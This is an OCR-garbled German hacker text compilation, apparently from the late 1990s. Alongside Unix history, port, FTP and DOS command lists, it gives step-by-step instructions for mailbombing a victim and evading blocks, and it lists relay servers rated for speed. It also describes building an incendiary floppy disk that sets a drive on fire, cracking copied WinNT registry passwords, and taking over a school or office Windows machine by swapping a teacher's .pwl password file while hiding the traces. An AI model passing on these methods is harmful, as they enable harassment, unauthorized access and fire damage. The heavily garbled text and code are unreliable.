gi bst du als Benutzernanmen "root" ein und als Passwort ni mst du das was du
bei der installation gewdhlt hast. Such dir noch ei ne Benutzer-Qoerfl ache
aus(z.B. KDE).Danach klickst du auf Log-In. Beimtextbasierten Login-Screen
Logst du dich zu erst ein und startest dann das GU nmt dem Befehl:

startx [ENTER] Mt "[ENTER]" nmeinte ich die Taste auf der Tastatur.

Nun kannst du ein bi sschen runprobieren. Um nehr (ber Linux und die
Installation zu erfahren solltest du dir ein paar Bilcher bestellen(z.B. bei
buecher.de): *Jetzt lerne ich Linux, Stefanie Teufel, Markt und Techni k-
Verlag *Linux Hacker s Quide, Anonynous, Mar kt und Techni k- Verl ag.
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We Uni x entstand:

1969 entwi ckelten Ken Thonpson(von Bell Labs), Dennis Ritchie und Joseph
Gssanna Uni x. Damal s war es noch ein Singel e-User-Systemund beinhaltete
nur die wichtigsten Tools. Dennis Ritchie entw ckelte zusamren nmit Brian
Ker ni ghan ei ne neue Progranm ersprache: C. Von 1970 bis 1973 schrieben Ken
Thonmpson und Dennis Ritchie Unix in C neu, weil C sich sehr gut portieren
| &sst und klein ist. Zw schen 1974 und 1980 wurde der Source Code an
Universitaten verteilt. Unix wiurde an den Unis verbessert und auf andere
Systenme portiert. Unix verbreite sich weiter. 1978 wollte AT&T
Li zenzgebuhren fir Unix verlangen. Die University of California in Berkley
entwi ckelt ihre eigene Unix Version. Dadurch das Unix i m Source Code
vorl ag entwi ckelten sich viele verschi edene Uni xe:
UNI X
/ / \ \
/ Al X LINUX\
SunGs u.s.w

--==[ Uni x heute] ==--
Heute wird Uni x hauptsachlich im Server-Bereich eingesetzt. Imprivaten
Bereich ist Linux sehr beliebt weil es sehr preiswert ist. Unix ist auch
bei Hackern sehr beliebt weil:

-(fast) alle Exploits fudr Unix geschrieben sind

-es fur den Netzwerkbetrieb entw ckelt wurde

-alle bendtigten Conpiler direkt nach der Installation zur Verfigung

st ehen

Es ist inzwi schen ein Milti-User-System fir das es sehr viel Software gibt.
Es gi bt auch nehrere G aphi sche Benutzeroberfl achen und O fice-Pakete fir
Uni x.

Sonstige

Bedeut ung verschi edener Ports:

NAME | PORT AUSGESCHRI EBEN

di scard 9

net st at 15

char gen 19

ftp 21 - File Transfer Protocol

tel netd 23

snt p 25 - Si nmpl eMai | Tr ansf er Pr ot ocol
rip 39

boot p 67

fingerk 79

http 80 / 8080 - Hypertext transfer protocol
mlitary http 80 / 8080 / 5580 -M H T. T. P. (s.o0.)
I'i nk 87

pop3 110 - eMil

i dentd 113

nnt p 119

newsk 144

execk 512

| ogin 513

pki Il 515

kt al k 517

nt al k 518

net wal | 533

rmonti or 560

nont i or 561

ker ber os 750
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Mai | Servers:

rone. cconmm com
wi sdom psi net. net. au

enmout 17. mai | . aol . com

ndr . de

manado. webi ndonesia. com <----------------------- schnel
enout 29. nai | . aol . com

from ml6. bost on. j uno. com
eleventh2.inil.com<--------------c----- sehr schnel
portland. cbn.net.id

pnccwg. pal aunet . com

bonn. net surf. de

server.conpunort.com ar

mai | 1- gui . server.virgin. net

nontri.ku.ac.th

mail 2.isdnet.net <--------mmmm e schnel
gandal f. | eader. es

sntp-0.indo.net.id

sirius. hkstar.com

triton.worl donline. nl

bri ckbat 8. mi ndspri ng. com

i eva06. | anet.|lv

bri ck. pur chase. edu
rush. u- net sys. com br
sweden. i t.earthlink. net
SVBELL. net

el f.ecitel e.com

future. futureone. com

di net. de

ent erpri se. power up. com au
ns. ezl .com
zenon. | 0ogos. cy. net

di no. mai nz.i bm de

out 2.i bm net

snt pl. wanadoo. fr
beta.ntit.com

hpl. p-ol . com

revere. nusc. edu

alpha.ntu.ac.sg <----------------------~----- sehr schnel
mai | . uni serve. com

UTMIB. UTM MY <----mme e e e e o - sehr schnel
m nos. ny

deneb. df n. de
nontri.ku.ac.th
webl ock. tm net. ny
mai | . secc.cc.ia.us
mai n. concom ru
mai | . ptd. net

lilly. ping.de
sntpl. erol s. com
crotal us. fanu. edu
mai | . uni serve. com
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Mai | bonbi ng:

OK. Jetzt erstmal zur Theorie:

Es gi bt neiner Meinung nach zwei Typen von Mi |l bonben:

1. Die Mail, die sich auf wunderbare Wi se auf dem Mil -Server vernehrt
und sich von 20KB auf 80-100MB auf bl aht'!

2. Eine Mail, die nmit Mkrobefehlen durch ein Programm die Festplatte
verwistet (oder was auch imer). 'Melissa' ist ein gutes Beispiel dafir.
Ubrigens: es konmt selten vor, dass man das als Mail bonbe bezeichnet.
Cerade 'Melissa' ist auch ein Virus (er/sie/es [?] verbreitet sich ja
Von sel bst)

lch will hier nur die 1. Art behandeln, die 2. ist eigentlich eine nornale
Mai |, die einfach ein biRchen Makro- Code enthallt.

Al so:
1. Frage: We macht man aus einer Mail eine Mail BOVBE? Nu ja, eigentlich
i st das so sinpel, dass nman nanchnal nicht drauf komt. Man tragt einfach
den Enpféanger so 1000 mal in das ToAddress (LH (hei 3t LamaH nt): die
Enpf &nger adresse) ein. Und eigentlich schicke ich doch gar keine Mil bonbe,
der Mail-Server tut es!!! (er vervielfaltigt schlieBlich die Mail....).
Aber ich schweife ab. Jo, wichtig ist noch, dass man di e anderen Fel der
irgendwie 'sinnvoll' fullt. In FromNane (LH Absender) kommt halt der Nane
des Spallvogel s, der die Ml bonbe geschickt hat (oder besser nicht).
FromAddress nmul3 nei stens die original enmail-Adresse des Senders-Accounts
(LH: Wenn 1 hr nicht wiBt, was ein Miil-Account ist, dann gute Nacht!)
ent hal ten, sonst nehnen viele Server die Mail nicht an (Wer kennt einen,
bei dem das anders ist??). Das bedeutet natirlich auch, dass man seine
emai | - Adresse freigibt. Al so: eigenen Bonbi ng- Account benutzen!!! FronNane,
Repl yTo, X-Mailer (o. Local Program usw. sind wahlfrei zu bel egen. So..Al so
was schreibt man in eine Mil-Bonmbe? Am besten ei nen ' knacki gen'
Text und danach einfach zufallsgenerierten Garbage (LH. Mill). Ubrigens:
Das SMIP-Format | &sst in NI CHT-M ME codierten Mails nur Zeichen bis zum
Code 127 zu (liegt wohl an Konpatibilitat zw Linux u. Wndows). Nun denn,
eigentlich bleibt nicht mehr viel zu sagen, nur noch eins:
Der Mai | bonben- Enpf &nger kann bei vielen Diensten bestimte Adressen
sperren, so dass keine weiteren Miil bonben nehr enpfangen werden kénnen. Da
gi bt es wi eder zwei Mbglichkeiten:
1. Man wechselt einfach nmal sei ne Bonbi ng- Adresse oder
2. Man benutzt einen zufélligen Account aus mehreren. Bei m ndchsten Mal

wi rd dann héchstwahrscheinlich ein anderer Account zum Zuge kommen.
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FTP- Bef ehl e:

Bef ehl :
|

$

?
account
append
asci i
bel |

bi nary
bye

cd
cdup
chnod
cl ose
cr
debug
del | del ete
dir

form
get
hel p
idle

|l cd

I's
macdef
ndel et e
mdi r
nget
nkdi r
ns
node
nodt i me
nput
newer
nlist
open

pr onpt
put

pwd
qui t
recv

r enane
restart
rhel p
rndir

r st atus
send

si ze

st at us
struct
system
t enex
type
user
ver bose

Funkti on:

Escape zur Shell (zurick mt exit)

Makr o ausf ihren

H | fe ausgeben

Account Kommando zum Server schicken

An Datei anhangen

ASCI | - Ubert ragungs- Modus einstel | en
Tonausgabe wenn Kommando ausgef Gihrt

Bi nar - Uber t ragungs- Modus ei nstel | en
FTP- Si t zung beenden und Verl assen

Renot e Arbeitsverzeichnis wechseln

Renot e Arbeitsverzeichnis zumErlternverz. wechseln
Rechte an Renote-Datei &ndern

Ver bi ndung zum Renot e- Host trennen
Unschal t ung

Unschal tung und Setzen des Debugger - Modus
Renot e- Dat ei | 6schen

I nhalt von Renote-Verzei chnis anzei gen disconnect
FTP-Si t zung abbrechen

FTP- For mat setzen

Dat ei enpfangen

H | fe Anzeigen

Systenberei tschaft bei N chteingabe Zeitlimt 900-7200Sek

Lokal es Arbeitsverzeichnis wechseln

I nhalt des Renote-Verzei chni sses anzei gen

Makro defi ni eren

mehrere Dateien | 6schen

zeigt Inhalt mehrerer Renote-Verzeichnisse an
nmehrere Datei en enpfangen

Ver zei chni s auf Renote-Maschine erstellen

zeigt Inhalt nehrerer Renote-Verzeichnisse an
Set zt FTP- Mbdus

Zeigt Zeit der letzten Anderung ei ner Renote-Date
Mehrere Datei en senden

enpf angt Renot e-Datei wenn neuer als |okale Date
zeigt Inhalt von Renote-Verzeichnissen
Ver bi ndung zum Renopt e- Host auf bauen

erzwi ngt interaktiven Pronpt fir nehrere Kommandos
Dat ei senden

Ar bei t sverzei chni s auf Renote-Maschi ne anzei gen
FTP beenden

Dat ei enpfangen

Dat ei name &nder n

Neustart von Fil e-Transfer

Hlfe vom Renote Server

Ver zei chni s auf Renpte entfernen

St at usanzei ge der Renot e- Maschi ne

Dat ei senden

Dat ei gr 63e von Renote-Date

Akt uel | en Status anzei gen

FTP- St rukt ur setzen

Anzei ge des Renote- Syst ent ypes

Set zt Tenex Datei Ubertragungs- Typ

FTP- Typ setzen

Neue User-Information senden

Unschal t en auf Verbose Mddus
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D skett enbonbe bast el n:

& fne vorsichtig die Diskette (am besten 3.5" (aber ihr werdet ja eh nich

mehr viel anderes brauchen)). Entnehne den baumwl | enen Schutz von der

Fl oppy. Rei be nmbglichst viel Pulver von den Streichhdl zern in eine Schisse
(Achtung: ninmm etwas hél zernes zum schaben, ein Metallstick entzindet das

Pul ver). Wenn du genug hast, verteile es gleichnmassig auf der Diskette.
nun noch eine Schicht von Nagel |l ack Uber das Pul ver (w eder gl eichnissig
verteilen). Lass es trocknen (lies was tUber TCP/IP in der Zw schenzeit).
Setze die Disk vorsichtig w eder zusamen (benutz den Nagel |l ack zum

abdi chten). So, nun hast du's geschafft! Wrd diese Floppy nun in ein

gib

Lauf wer k geschoben, versucht der Kopf die Disk zu | esen, diese Urdrehungen
verursachen ein kl ei nes Feuer (klein, aber effizient genug um den Head des

Laufwerks zur Holle zu schicken!).

DOS Bef ehl e:

APPEND - Erniglicht Progranmen das Offnen von Datendateien in den angegebenen
Ver zei chni ssen, als ob sie imaktuellen Verzeichnis wiren.

ASSIGN -Leitet Datentragerzugriffe von ei nem Laufwerk auf ein anderes um

ATTRIB -Zeigt Dateiattribute an oder &andert sie.

BACKUP  -Sichert Dateien von einem Datentréager auf einen anderen.

BREAK -Schal tet (zuséatzliche) Uberwachung fir CTLR+C ein (ON) oder aus (COFF)

CALL -Ruft ein Stapel verarbeitungsprogranm von ei nem anderen aus auf.

cb -Wechselt das aktuelle Verzeichnis oder zeigt dessen Nanen an.

CD. . -Schli et das aktuelle Verzeichnis

CHCP -Wechselt die aktuelle Codeseite oder zeigt deren Namen an.

CHDIR  ------ > CD

CHKDSK - Uberpriift einen Datentrédger und zei gt einen Satusbericht an.

CLS -L6scht den Bildschirmnhalt.

COWAND -Startet eine neue Distanz des MsS-DOS-Befehlsinterpreters.

COwpP -Vergleicht den Inhalt zweier Dateien oder zweier Satze von Dateien

COoPY -Kopi ert eine oder nmehrere Dateien an eine andere Position.

CTTY -Wechsel t das Ei n-/Ausgabegeréat fir die Steuerung ihres Systens.

DATE -Wechselt das eingestellte Datum oder zeigt es an.

DEBUG -Startet Debug, ein Werkzeug zum Testen und Editieren von Progranmen.

DEL -Loéscht eine oder nmehrere Dateien.

DR -Listet die Dateien und Unterverzei chni sse eines Verzeichni sses auf.

DI SKCOWP - Ver gl ei cht den Inhalt zweier Disketten.

Dl SKCOPY - Kopi ert den Inhalt einer Diskette auf eine andere Diskette.

DOSKEY  -Editiert Befehlseingaben, ruft Befehle zurick und erstellt Mkros.
DOSSHELL - Startet die Ms-DOS-Shell.

ECHO -Zei gt Mel dungen an oder schaltet die Befehl sanzeige ein/aus. (QV OFF)
EDI T -Startet den MS-DOS-Editor.

EDLI N -Startet Edlin, einen zeilenorientierten Texteditor.

EMVB86 -Aktiviert oder deaktiviert EMVB86- Expansi onsspei cher-Unterst it zung.
ERASE -Loscht eine oder nehrere Dateien.

EXE2BI N -Konvertiert .exe (ausfihrbare) in das Binéarfornat.

EXIT - Beendet den Bef ehl si nterpreter COVVAND. COM

EXPAND - Expandi ert eine oder nehrere konprimerte Dateien.
FASTOPEN - Ver kiir zt die zum &ffnen haufig verwenderter Dateien und Verzei chni sse

noétige Zeit.
FC -Vergleicht zwei Dateien oder zwei Satze von Dateien.
FDI SK -Konfiguriert eine Festplatte fir die Verwendung unter Ms-DOS.
FI ND -Sucht in einer oder nmehreren Datei en nach einer zei chenfol ge.
FOR -Fuhrt einen Befehl fiur jede einzelne Datei eines Satzes von Dateien aus.

FORVMAT -Formatiert einen Datentrager fir die Verwendung unter Ms-DOS.

GOoro -Setzt die Ausfuhrung eines Stapel verarbeitungsprograms an einer Marke
fort.

GRAFTABL -Erlaubt M5-DOS, im G afi knmbdus einen einen erweiterten Zei chensatz
anzuzei gen.

GRAPHI CS - Ladt ein Programm zum Druck von grafischen Bildschirm nhalten.

HELP -Zeigt Hlfe fur Ms-DOS-Befehle an.

I F -Verarbeitet Ausdricke mt Bedi ngungen in einem Stapel verarbeitungs-
programm

JAO N -Ordnet ein Laufwerk einem Bestimten Verzeichnis auf einem anderen
Lauf werk zu.

KEYB -Stellt die Tastaturbelegung fir ein bestimtes Land ein.

LABEL -Erstellt, andert oder |dscht di e Bezei chnung eines Datentrégers.

LH -L&adt ein Progranmin den hohen Speicherbereich. (Upper Menory Area)

LOADFI X -Ladt ein Progranm Uber den uber den ersten 64KB Speicher und fihrt es aus.

LOADHIGH ------ > LH
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MD -Erstellt ein Verzeichnis.

MEM -Zeigt die G 0Re des bel egten und noch freien Arbeitsspeichers an.

M RROR - Zeichnet Infornationen lber einen oder nehrere Datentréager auf.

MD R  ------ > MD

MODE -Konfiguriert Gerate im System

MORE -Zei gt daten seitenwei se auf dem Bil dschirm an.

NLSFUNC - Ladt | andesspezifische Informationen.

PATH -Legt den Suchpfad fir ausfihrbare Dateien fest oder zeigt diesen an.

PAUSE -Halt di e Ausfuhrung einer Stapel verarbeitungsdatei an.

PRI NT -Druckt Textdateien wéhrend der Verwendung anderer MsS-DOS- Bef ehl e.

PROMI -Modifiziert die M- DOS-Ei ngabeauff oderung.

BASIC -Startet di e Qbasic-Progranm erungebung

RD -Entfernt (l16scht) ein Verzeichnis

RECOVER -Stellt von ei nem beschadi gten Datentr&ger |esbare Daten w eder her.

REM -Leitet Kommentare in einer Stapelverarbeitungsdatei oder in der Datei
CONFI G SYS.

REN -Benennt eine oder nehrere Dateien um

RENAME =~ ------ > REN

REPLACE - Erstetzt Dateien.
RESTORE -Stellt mt Backup gesicherte Daten w eder her.

RWMDIR  ------ > RD
SET -Setzt oder entfernt MS-DOS-Ungebungsvari abl en oder zeigt sie an.
SETVER  -Setzt die Versionsnunmer, die MS-DOS an ein Programm nel det.
SHARE -Installiert geneinsamen Dateizugriff und Dateisperrung
SH FT -Veréandert die Position ersetzbarer Paraneter in einem
St apel ver ar bei t ungspr ogr anm
SORT -G bt Eingabe sortiert auf Bildschirm Datei oder anderes Geréat aus.
SUBST -Wei st einem Pfad ei ne Laufwerksbezei chnung zu.
SYS - Kopi ert Ms-DOS- Syst endat ei en und - Befehl sinterpreter auf einen
Dat entr &ger .
TI VE -Stellt die Systenrzeit ein oder zeigt sie an.
TREE -Zeigt die Verzeichnisstruktur eines Laufwerkes oder Pfads grafisch
an.
TYPE -Zeigt den Inhalt einer Textdatei an.

UNDELETE -Stellt gel 6schte Dateien w eder her.
UNFORMAT -Stellt einen Datentrager w eder her, der durch ei nen FORVAT- Bef ehl
gel 6scht oder durch ei nen RECOVER- Bef ehl unstrukturiert wurde.
VER -Zeigt die Nummer der verwendeten MS-DOS-Versionen an.
VERI FY -Legt fest, ob MS-DOS uberwachen soll, daR Dateien korrekt auf
Dat entr ager geschri eben werden.
VOLL -Zei gt die Bezeichnung und Seriennunmer eines Datentragers an.
XCoPY -Kopi ert Dateien und Verzeichnisstrukturen.

Si cher hei t sl iicken von W nNT:

Ei ne sehr grofle schwachstelle stellt die Registry da. Die Registry kann von

Al'l en user (nicht nur vom admi n) angesehen werden. Dort kann nan alle
Passworter in verschlisselter formfinden. Nun nuss nman sich di ese Datei
nur noch auf seinen Rechner |aden und mit ei nem Brut-Forceprogrames

Fehler liegt

cracken. (Am besten finde ich LOpht Crack) Noch ein sehr groRer

bei allen Ports. ( Oh Ch Mcro$oft ) Nornal erweise werden alle Ports gegen

Fremde zugriffe geschitzt "NORMALERWEI SE' ( M cro$oft ist nicht norma
dort einfach
ei ni ge Zeichen eingibt . Dann die verbindung trennt. Wrd daraus eine

endl osschl eife . Durch diese Endl osschleife wird die CPU Lei stung schnel
gesenkt was dann den Computer sehr Stark belastet. Der Admin kann diese

Wenn nman einen oder gleich nmehrere Ports nmit Telnet anspricht,

schlei fe nicht unterbrechen. Nur der Neustart wird hel fen
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W ndows Si cher hei t sl iicken:

1. Was ich in ei nem Wndowsnet zwerk, nit einem Gastzugang al |l es nmachen
kann.

*| ch gehe einfach mal davon aus, das du in der Schule oder in der Firma
an ei nem Wndows 95/98 Rechner sitzt und nur Zugang als Gast hast. Du
kannst z.B nur Wrd, Excel, Paint usw. benutzen hast keinen zugriff auf
z. B. Desktopeinstellungen oder das Dateisystem

Das | asst sich aber &ndern. ;-) * Logge dich als Gast ein, und starte die
Hlfe (mt F1 oder Start => Hilfe)

denn sel bst die Hilfe steht jedem Gast zur Verfligung. Wenn du die Hilfe
gestartet hast klicke auf die Regestier Karte "lIndex" und suche nach dem
Feature das du benétigst z.B. Explorer, Arbeitsplatz, Netzwerk,

Systenei nstellungen usw... Hier eine kleine Liste die ich fir euch zusamen
gestellt habe. (fir Wn98) Nach wel chem Schema i hr ungef&dhr suchen niisst.

Nur fdr W ndows 98:
Aber wenn ihr das Prinzip verstanden habt koénnt ihr euch auch unter
W n95/ NT j edes Feature zurickgew nnen.

+CD- SPI ELER Anhdren, CDs; Verwenden der CD- W eder gabe +DEFRAGVENTI ERUNG
Fest pl att enspei cherpl at z erhéhen, Defragnenti erung; Beschl euni gen des
Festplattenzugriffs mt Hilfe der Defragnenti erung +EDI TOR .txt- Dateien
Dokurent e, Bearbeiten; Verwenden des Editors Dokunente, Erstellen;
Verwenden des Editors +EI GENSCHAFTEN VON ANZEI GE . bnp- Datei en; So andern
Sie den H ntergrund des Desktops .gif- Dateien als Hi ntergrundbild

ver wenden

16- Far ben- Dar st el | ung

256- Far ben- Dar st el | ung

Anordnen von Bildschirnmen +El GENSCHAFTEN VON DATUM UHRZEI T 12- St unden-
Format, Einstellungen. Andern der Zeiteinstellungen; So dndern Sie die
Uhrzeit des Conputers +ElI GENSCHAFTEN VON DCOM Akti vi eren von DCOM So
aktivieren Sie DCOM

Aktivieren von DCOM So aktivieren Sie DCOM fir eine bestinmmte Anwendung
+El GENSCHAFTEN VON KENNWORTER Admi ni stration, Renote-; So entfernen Sie

ei nen Nanmen aus der Liste der Adm nistratoren Adm nistration, Renpte-; So
ernmbgl i chen Si e anderen Benutzern, die Verwendung der Ressourcen auf |hrem
Conput er anzuzei gen Admini stration, Renote-; So fiigen Sie der Liste der
Renot eadni ni stratoren ei nen Namen hi nzu +El GENSCHAFTEN VON MAUS Andern der
Mausei nst el l ungen; So andern Sie das Aussehen des Mauszei gers

+El GENSCHAFTEN VON MULTI MEDI A Abspi el en von Mil ti nedi adat ei en; So andern
Sie die GroRe des Videoclip-Fensters Anal oge W edergabe, CD- W eder gabe
Anhoren, Audio; So regeln Sie die Wedergabel aut starke +ElI GENSCHAFTEN VON
MODEMS Anrufe tétigen; So konfigurieren Sie ein installiertes Modem

+El GENSCHAFTEN VON SCANNER UND KAMERAS Anzei gen von gescannten Bil dern;
Verwenden von Scanner und Kaneras +El GENSCHAFTEN VON SOFTWARE Al te Datei en
entfernen; So geben Sie Festplattenspeicher frei; W ndows-Konponenten
entfernen, die nicht nehr benétigt werden Alte Dateien entfernen; So geben
Si e Festplattenspeicher frei; Programre entfernen, die nicht nehr gebraucht
werden. Erstellen einer Startdi skette +El GENSCHAFTEN VON SYSTEM 32-Bit - PC-
Kart enunt er st it zung, Deaktivi eren Aktivieren von Hardwareger aten

Andern der Einstellungen fir Hardwareressourcen; So entfernen Sie

Har dwar ekonponent en Andern des Nanmens von Har dwar eprofil en

Anzei gen von Cer ateressourcen +HYPER TERM NAL Enul ation, Term nal -
+NETZWERK 32-Bit-DLC- Protokol |, Deaktivieren der 16-Bit-Unterstuitzung
32-Bit-DLC Protokoll, Installieren

32-Bit-DLC Protokol |, Konfigurieren von Einstellungen

32-Bit-DLC Protokol I, Uberpriifen von Bi ndungen

Adapt er, Netzwerk-, Binden an Protokolle

Adapter, Netzwerk-, Einstellungen

Adapt er, Netzwerk-, Entfernen von Software
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Adapter, Netzwerk-, Installieren von Software

Aktivieren der automatischen Sicherung

Aktivieren der Datei- und Druckerfrei gabe +PAI NT . bnp- Datei en; Verwenden
von Pai nt

Dokunent e, Ei nflgen von Paint-Bildern in +RECHNER Addi eren von Zahl en
Addition mt dem Rechner +SCANDI SK Alte Dateien entfernen; So geben Sie
Fest pl att enspei cher frei; ScanDi sk verwenden,

um Fehler zu ermitteln, die niglicherweise Speicherplatz beanspruchen
+WORDPAD Absat zf or mat e, Wor dPad

Dokunent e, Bearbeiten; Verwenden von WrdPad

Dokunente, Erstellen; Verwenden von WrdPad

Dokurent e, Formati eren

Formati eren von Dokumenten mit WbrdPad

2. Es gibt noch eine Miglichkeit sich alle zugriffsrechte zu verschaffen
Logge dich zu erst einmal als Gast ein und Starte sie Suche (We oben
beschri eben) suche Dateien nmit der Endung "opw "

das sind sie Dateien in denen das Passwort das z.B. Super User

verschl Usselt gespeichert ist, Du solltest aber zum ndest w ssen wel chen
Benut zer nanen der Super User hat. Ich gehe jetzt von Lehrer aus, dann hei 3t
die Datei Lehrer.pw Wahrscheinlich wirst du noch nehr finden z.B

Schul er.pw Gast.pw usw... Kopiere die .pw Datei des Super Users in ein
anders Verzeichnis und dann erst |dschen! (Aber nur die in dem W ndows
Verzei chnis) Start das Systemneu und jetzt kannst du dich mt dem
Benuzt er nanen des Super Users Einl oggen Benutzer: Lehrer

Kennwort : (Gb hier jetzt irgend etwas ein, und in der Passwort

W eder hol ung das gl ei che, der Rechner findet die Lehrer.pw ja nicht nmehr
und erstellt ne neue dessen Passwort Du bestimen kannst) Schwups haben wir
doch glatt das Passwort geandert und du hast nun vollen zugriff auf’s
System ;-)) Aber wenn du dort alles erledigt hast soll der Super User ja
ni chts nerken, deshalb | 6scht du die .pw

Datei i m Wndows Verzeichnis (nicht die, die zuvor in ein anderes

Ver zei chni s kopiert hast) und jetzt w eder

die alte .pwl Datei in das W ndows Verzeichnis kopieren und alles ist

wi eder w e vorher.

3. Die letzte Miglichkeit die allerdings nur bei einem Netware Netzwerk
funktioniert!

Du gi bst bei der Eingabe das Kennwortes vom Super User irgendetwas fal sches

ein, dann konmt noch ei ne Kennwort Ei ngabe Aufforderung, da gibst du als

Benut zer irgend was falsches ein z.B. "Klonmann" und als Kennwort z.B

"Klobrille" auf OK klicken und Nur noch mal das Kennwort "Klobrille" mt

ei ner zweiten Ei ngabe bestati gen. Schwups da haben wir vollen zugriff auf’s

Systeml Wenn da nicht noch di ese Kennwbrter waren die den Zugriff auf

andere Netzwerk Rechner beschranken! *Wenn du i m Net zwerk zugriff auf

andere Rechner und Festpl atten haben nbcht est aber kein Passwort hast

dann versuche als Kennwort erst einmal "master"™ wenn das nicht funktioniert

kli cke auf das Heckchen, Kennwort in Liste speichern so das es weg ist,

al s ndchstes klickste auf OK und schon biste nicht nehr Beschrankt.
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We man eine Page gut mt einem PalBwort sichert:

Das Probl em von viel en Passwortabfragen ist das sie das Passwort im
Quel | text stehen haben (ziemich billig *g*)! Deshalb brauchen wir eine
ausgel agerte Datei die den Benutzernanmen und das Passwort speichert. Diese
Datei wrd

verschl isselt. Also Klartext wir brauchen :

verschl uessel . ht M : Verschl Gissel ungsrouti ne!

Abfrage. ht . Hier wird Passwort +User nane abgefragt!

daten.js : Hier drin stecken die verschlisselten Passwbrter! 1. Das

ver schl Ussel ungsProgranmm (verschl uessel . htn):

<htm >
<head>
<title>Verschl uessel ungsPrgramx/titl e>
<script |anguage=JavaScri pt>
<l-

uzahl =4;

schl uessel ="";

function udat en(unane, pw, uadr) {

t hi s. uname=unane;
10. t hi s. pw=pw;
11. t hi s. uadr =uadr
12. }
13. daten=new array(uzahl);
14. daten[ 0] =new udat en( " Hacker", " Hackpl anet", "' \Wwwv. hacki ng. de'™) ;

15. daten[ 1] =new udat en( " Hacker 2", " fuck", "' Wwwv. hacki ng. de'™) ;
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16. dat en[ 2] =new udat en( " Hacker 3", "Voodoo", "' Wwv. hacKi ng. de'™) ;
17. daten[ 3] =new

udat en("w ndow. | ocat oi n. href =
function krypt(wort){

19. var swort=wort.| ength+60;
20. for (var i=0;i<wort.length;i++) {

21. var z=wort.char CodeAt (i)/2;

22. swort=swort+","+z;

23. }

24, return swort;

25. '} 26. function verschluessel () {

27. for (var i=0; i<uzahl;i++) {

28. sunane=krypt (daten[i].unane);

29. spw=krypt(daten[i].pw);

30. suadr=krypt(daten[i].uadr);

31. schl uessel =schl uessel +"dat en[ " +i +] =new

udaten("+' "' +suname+' , ", "' +spw+' , ", "' +suadr+',"); " +"<br>";
32. 1}

33. docunent.wite(schl uessel);

34. }

35. //->

36. </script>
37. </ head>

38. <body>

39. <script |anguage=JavaScri pt>
40. <!-

41. verschl uessel ();

42. |/->

43. </script>

44, </ body>

45. </ htm > Puuhhh. Das hatten wir schonnmal! Jetzt kommren wir zur
Passwortabfrage. Die htnl-Date

enthalt den Source zu daten.js die datei wird spater erklart. Sonst sieht
sie so aus: 2. Die Passwortabfrage (abfage.htnl):
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<htm >

<head>

<titl e>Zugangsberechtigung</title>

<Script |anguage=Javascript src="daten.js">
<I-

/]->

</script>

</ head>

. <body>

10. <center><forne

11. We ist dei Nick?

12. <input nane="usernane" Type=Text val ue=
13. <br> Und dein Passwort?

14. <input nane="userpw' Type=Passwort val ue=""></input>

15. <br><i nput TypeButton val ue="CK" onclick="start()"></input>

16. </formpe</center>

17. </body>

18. </htm > Diesmal wars nicht so schwer... Jetzt brauchen wir noch das
JavaScript daten.js diese Date

si eht fol gendermassen aus : 3. Das JavaScript (daten.js):
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></i nput >

uzahl =3;

user name="";

user pw="";

function udat en(unane, pw, uadr) {

t hi s. uname=unane;

thi s. pw=pw;

t hi s. uadr =uadr ;

}

. daten=new Array(uzahl);

10. daten[ 0] =new daten("Di e Zeilen 10,11, 12,13 werden Progranm
verschl uessel . htm erzeugt,");

11. daten[1] =new daten("du nusst sie dann Uber die Zw schenabl age
ei nf Ggen, ") ;

12. daten[2] =new daten(",");

13. daten[3]=new daten(","); 14. function dekrypt (wort) {

15. var swort=wort;

16. var w="";

17. for(var i=0;i<wort.substring(0,2)-60;i++) {

18. swort=swort.substring(swort.indexOF(",")+1,swort.|ength);

19. w=w+String. frontChar Code(2*swort. substring(0, swort.indexOf(",")));
20. }

21. return w

22. '} 23. function pruef() {

24, for(i=0;i<uzahl;i++) {

25. if

((user name==dekrypt (daten[i]. unane)) &&( user pw==dekrypt (daten[i].pw))) {
26. adr2=dekrypt (daten[i].uadr);

27. }

28. }

29. eval (dekrypt (dat en[ uzahl]. unane) +adr 2) ;

30. } 31. function start() {

32. username=docunent . f orns[ 0] . user nane. val ue;

33. user pw=docunent . forns[ 0] . user pw. val ue

34. adr2=dekrypt (daten[uzahl]. pw);

35. if ((lusernane) || ('userpw))

36. set Ti meout ("start()", 10);

37. else pruef();

38. } So das wars jetzt misste eure Honepage ziemich sicher sein.
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Was nman all es aus den Header einer Email | esen kann:

Zuerst einmal ndchte ich euch einen E-Miil Header zeigen, der
f ol gender massen aussi eht:

From Vegbar Fubar <fooha@fi.foobar.no>

Date: Fri, 11 Apr 1997 18:09:53 GV
To: hacker @echbroker.com Recei ved: by 0200. f ooway. net

(950413. SE . 8. 6.12/951211. sA) for techbr @ooway. net id OAA07210; Fri, 11
Apr 1997 14:10:06 -0400

Received: fromifi.foobar.no by 0200.fooway. net via ESMIP
(950413. S3 . 8.6.12/951211. S3 )

for <hacker @echbroker.con> id OQAA18967; Fri, 11 Apr 1997 14:09: 58 -0400
Received: fromgyllir.ifi.foobar.no (2234@yllir.ifi.foobar.no
[129.133.64.230]) by ifi.foobar.no with ESMIP (8.6.11/ifi 2.4)

id <UAA24351@fi.foobar.no> for <hacker @echbroker.conm> ; Fri, 11 Apr 1997
20: 09: 56 +0200

From Vegbar Fubar <fooha@fi.foobar.no>

Recei ved: from | ocal host (Vegbarha@ ocal host) by gyllir.ifi.foobar.no ;
Fri, 11 Apr 1997 18:09:53 GMVI
Date: Fri, 11 Apr 1997 18:09:53 GV
Message-1d: <199704111809. 13156.gyllir@fi . foobar.no>
To: hacker @ echbr oker. com

Habt ihr euch nicht schon imrer gefragt, was all dies wirre Zeug bedeut et
??? Dazu spater. Zuerst einmal kommt doch sicher die Frage auf, wie man die
Header liest. Das Lesen eines E-Miil Headers ist davon abhangig, mt

wel chem Programm i hr eure E-Mails abruft. Gott sei Dank erhaltet ihr hier
Abhilfe, wo es beschrieben wird, wie ihr unter den verschi edenen Mil
Programren den Header erblickt :-) Conpuserved lick gehabt, Conmpuserve zeigt
euch automati sch den Header M crosoft Qutl ookDie Mail anklicken und dann
auf Datei \ Eigenschaften \ Details klicken Netscape Navi gatorEi nfach die
Mai | marki eren, dann auf Ansicht \ Seitenquelltext klicken Netscape

Conmuni cat or Ei nfach die Mail markieren, dann auf Ansicht \ Seitenquelltext
klicken, ... et voila Pegasuseine harte Sache nmt Pegasus, das heisst,
speichert die Mail ab und o6ffnet sie in Wrdpad PinePine ist ein UNI X E-
Mai | Programm das ebenfalls automati sch den Header anzei gt Soviel zum
